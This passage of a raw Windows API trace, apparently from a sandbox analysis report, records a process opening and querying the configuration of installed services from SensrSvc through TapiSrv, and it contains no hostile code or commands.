(hSCManager=0x5d6d80, lpServiceName="SensrSvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.345] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.345] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.345] GetLastError () returned 0x7a [0249.345] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x14a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6feb8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x1e6feb8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionenv", lpUsedDefaultChar=0x0) returned 10 [0249.346] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SessionEnv", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.347] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.347] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.348] GetLastError () returned 0x7a [0249.348] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6ff00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x1e6ff00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sharedaccess", lpUsedDefaultChar=0x0) returned 12 [0249.348] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SharedAccess", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.349] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.349] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.350] GetLastError () returned 0x7a [0249.350] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6ff48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x1e6ff48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shellhwdetection", lpUsedDefaultChar=0x0) returned 16 [0249.350] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="ShellHWDetection", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.351] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.351] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.351] GetLastError () returned 0x7a [0249.352] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e6ff90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x1e6ff90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap", lpUsedDefaultChar=0x0) returned 8 [0249.352] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SNMPTRAP", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.353] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.353] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.353] GetLastError () returned 0x7a [0249.353] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0xf4, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x1e6ffd8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap.exe", lpUsedDefaultChar=0x0) returned 12 [0249.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x1e6ffd8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spooler", lpUsedDefaultChar=0x0) returned 7 [0249.354] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Spooler", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.355] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.355] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.355] GetLastError () returned 0x7a [0249.355] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x1e70020, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x1e70020, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc", lpUsedDefaultChar=0x0) returned 6 [0249.356] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="sppsvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.356] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.357] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.357] GetLastError () returned 0x7a [0249.357] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x1e70068, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x1e70068, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppuinotify", lpUsedDefaultChar=0x0) returned 11 [0249.358] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="sppuinotify", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.358] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.359] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.359] GetLastError () returned 0x7a [0249.359] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e700b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x1e700b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssdpsrv", lpUsedDefaultChar=0x0) returned 7 [0249.360] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SSDPSRV", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.360] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.361] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.361] GetLastError () returned 0x7a [0249.361] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x148, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e700f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x1e700f8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sstpsvc", lpUsedDefaultChar=0x0) returned 7 [0249.362] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SstpSvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.362] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.363] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.364] GetLastError () returned 0x7a [0249.364] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70140, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x1e70140, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stisvc", lpUsedDefaultChar=0x0) returned 6 [0249.364] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="stisvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.365] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.365] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.366] GetLastError () returned 0x7a [0249.366] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70188, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x1e70188, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="storsvc", lpUsedDefaultChar=0x0) returned 7 [0249.366] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="StorSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.367] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.367] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.368] GetLastError () returned 0x7a [0249.368] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e701d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x1e701d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swprv", lpUsedDefaultChar=0x0) returned 5 [0249.368] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="swprv", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.369] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.369] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.370] GetLastError () returned 0x7a [0249.370] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70218, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x1e70218, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysmain", lpUsedDefaultChar=0x0) returned 7 [0249.370] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="SysMain", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.371] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.371] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.372] GetLastError () returned 0x7a [0249.372] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0249.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x1e70260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletinputservice", lpUsedDefaultChar=0x0) returned 18 [0249.372] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TabletInputService", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.373] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.373] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.373] GetLastError () returned 0x7a [0249.373] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e702a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x1e702a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tapisrv", lpUsedDefaultChar=0x0) returned 7 [0249.374] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TapiSrv", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.375] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.375] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) 